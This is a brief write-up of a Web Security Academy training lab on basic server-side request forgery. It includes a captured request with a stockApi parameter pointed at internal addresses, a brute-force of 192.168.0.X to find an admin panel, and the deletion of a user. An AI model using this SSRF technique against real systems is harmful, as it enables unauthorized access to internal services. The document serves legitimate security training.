

Basic SSRF against another back-end system

1. This lab has a stock check feature which fetches data from an internal system.
2. To solve the lab, use the stock check functionality to scan the internal **192.168.0.X** range for an admin interface on port **8080**, then use it to delete the user carlos.
3. I did the same steps as the previous lab, I intercepted the request and tried to change the URL to <http://192.168.0.X:8080> and sent it to intruder and brute force X from 2 to 254. The status code of all responses was **500** except this URL <http://192.168.0.92:8080>, It's status code was **404** which seems strange.

Request		Response			
Pretty	Raw	Hex	Hackvector		
1	POST /product/stock HTTP/2				
2	Host: 0ade00400363a8a084e0a5c40037004a.web-security-academy.net				
3	Cookie: session=98zChd24LlB6Mmd2e3eghr2l1fcYiu				
4	Content-Length: 43				
5	Sec-Ch-Ua-Platform: "Windows"				
6	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36				
7	Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="80"				
8	Content-Type: application/x-www-form-urlencoded				
9	Sec-Ch-Ua-Mobile: ?0				
10	Accept: */*				
11	Origin: https://0ade00400363a8a084e0a5c40037004a.web-security-academy.net				
12	Sec-Fetch-Site: same-origin				
13	Sec-Fetch-Mode: cors				
14	Sec-Fetch-Dest: empty				
15	Referer: https://0ade00400363a8a084e0a5c40037004a.web-security-academy.net				
16	Accept-Encoding: gzip, deflate, br				
17	Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7				
18	Priority: u=1, i				
19	Connection: keep-alive				
20					
21	stockApi=http://192.168.0.92:8080&storeId=1				

Request		Response			
Pretty	Raw	Hex	Render	Hackvector	
1	HTTP/2 404 Not Found				
2	Content-Type: application/json; charset=utf-8				
3	X-Frame-Options: SAMEORIGIN				
4	Content-Length: 11				
5					
6	"Not Found"				

4. I go back to repeater and try this URL. It's already the admin panel and I have access to it.
5. Finally, I deleted the user carlos and the lab solved.